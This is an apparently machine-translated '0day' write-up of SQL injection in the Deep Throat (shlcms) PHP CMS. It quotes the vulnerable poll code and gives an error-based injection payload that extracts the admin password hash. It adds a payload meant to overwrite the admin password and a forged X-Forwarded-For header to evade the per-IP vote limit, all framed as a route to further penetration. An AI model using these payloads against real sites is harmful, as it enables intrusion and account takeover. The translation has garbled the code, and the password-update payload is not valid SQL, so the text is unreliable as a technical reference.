Deep Throat CMS (shlcms PHP) SQL Injection 0day

(PS: the CMS name is fascinating)
Http://www.shenhoulong.com/affiliated company http://company.loooe.com/
 
/Deepthroat/content/poll/-> index. php
If ($ request ['vtype'] = 'A ')
57 {
58 $ db-> query ("UPDATE". TB_PREFIX. "poll SET num = num + 1 WHERE id =". $ request ['choice']);
59
60 $ db-> query ("UPDATE". TB_PREFIX. "poll_category SET client_ip = '". $ insert_ip. "'where id =". $ params ['args']);
61
62 echo 'alert ("*****************"); window. location. href = "'. $ url. '";';
63}
64 elseif ($ request ['vtype'] = 'B ')
65 {
66 for ($ I = 0; $ I
67 {
68 $ db-> query ("UPDATE". TB_PREFIX. "poll SET num = num + 1 WHERE id =". $ request ['choice'] [$ I]);
69}
70 $ db-> query ("UPDATE". TB_PREFIX. "poll_category SET client_ip = '". $ insert_ip. "'where id =". $ params ['args']);
71
72 echo 'alert ("Vote successful"); window. location. href = "'. $ url .'";';
73}
74}
 
 
The option ID Parameter choice in the voting area is brought into the database for query without filtering, leading to the injection vulnerability.
UPDATE injection only uses an explicit or incorrect injection.
Change the choice parameter to an SQL statement during the voting.
 
POC:
 
And (select 1 from (select count (*), concat (select pwd from shl_user limit 0, 1) from information_schema.tables limit 0, 1), floor (rand (0) * 2) x from information_schema.tables group by x) );
 
Qq20140426191109.jpg
 
 
Abnormal Password
 
Encryption function:/Deepthroat/inc/-> class. shlencryption. php
 
 
3 {
4 var $ enstr = null;
5 function shlEncryption ($ str)
6 {
7 $ this-> enstr = $ str;
8}
9 function get_shal ()
10 {
11 return sha1 ($ this-> enstr );
12}
13 function get_md5 ()
14 {
15 return md5 ($ this-> enstr );
16}
17 function get_jxqy3 ()
18 {
19 $ tmpMS = $ this-> get_shal (). $ this-> get_md5 ();
20 $ tmpNewStr = substr ($ tmpMS, 0, 9 ). 'S '. substr ($ tmpMS, 10, 9 ). 'H '. substr ($ tmpMS, 20, 9 ). 'l '. substr ($ tmpMS, 30, 9 ). 'S '. substr ($ tmpMS, 40, 9 ). 'U '. substr ($ tmpMS, 50, 9 ). 'N '. substr
21 ($ tmpMS, 60, 9). 'y'. substr ($ tmpMS, 70, 2 );
22 $ tmpNewStr = substr ($ tmpNewStr,-36). substr ($ tmpNewStr, 0, 36 );
23 $ tmpNewStr = substr ($ tmpNewStr, 0, 70 );
24 $ tmpNewStr = substr ($ tmpNewStr, 0, 14 ). 'J '. substr ($ tmpNewStr, 14,14 ). 'X '. substr ($ tmpNewStr, 28, 14 ). 'q '. substr ($ tmpNewStr, 32, 14 ). 'y '. substr ($ tmpNewStr, 56,14 ). '3 ';
25 return $ tmpNewStr;
26}
27 function to_string ()
28 {
29 $ tmpstr = $ this-> get_jxqy3 ();
30 $ tmpstr = substr ($ tmpstr,-35). substr ($ tmpstr, 0, 40 );
31 return $ tmpstr;
32}
33}
34?>
 
 
 
The value encrypted by SHA1 and the value encrypted by MD5 cannot be reversed.
 
If you are lucky, you can UPDATE your password.
Update the password to admin:
 
And (select 1 from (select count (*), concat (select (update pwd = 'hangzhou' where username = 'admin') from information_schema.tables limit 0, 1 ), floor (rand (0) * 2) x from information_schema.tables group by x) );
 
 
Although the password cannot be decrypted, you can perform next penetration based on SQL injection.
Only one IP address is allowed to vote at a time, which means that only one SQL Injection statement can be executed for one IP address at a time.
This is very troublesome for further penetration.
 
 
/Deepthroat/content/poll/-> index. php
If (! Empty ($ request ['vtype']) &! Empty ($ request ['choice'])
33 {
34 $ SQL = "SELECT * FROM". TB_PREFIX. "poll_category WHERE id =". $ params ['args'];
35 $ poll_client = $ db-> get_row ($ SQL );
36 $ cur_ip = getip ();
37 if (empty ($ poll_client-> client_ip ))
38 {
39 $ insert_ip = $ cur_ip;
40}
41 else
42 {
43 $ checkIP = split (';', $ poll_client-> client_ip );
44 if (in_array ($ cur_ip, $ checkIP ))
45 {
46 echo "alert ('you have voted! Comment '); window. history. go (-1 );";
47 exit;
48}
49 array_push ($ checkIP, $ cur_ip );
50 $ insert_ip = implode (';', $ checkIP );
51}
 
 
Look at the getip () function
 
 
/Deepthroat/inc/function. php-> line 347 function getip () 348 {349 if (getenv ('HTTP _ CLIENT_IP ') 350 {351 $ client_ip = getenv ('HTTP _ CLIENT_IP '); 352} 353 elseif (getenv ('HTTP _ X_FORWARDED_FOR ') 354 {355 $ client_ip = getenv ('HTTP _ X_FORWARDED_FOR '); 356} 357 elseif (getenv ('remote _ ADDR ') 358 {359 $ client_ip = getenv ('remote _ ADDR '); 360} 361 else 362 {363 $ client_ip = $ HTTP_SERVER_VAR ['remote _ ADDR ']; 364} 365 return ip2long ($ client_ip); then the X-FORWARDED-FOR can be forged to break through the restricted X-FORWARDED-FOR: 8.8.8.8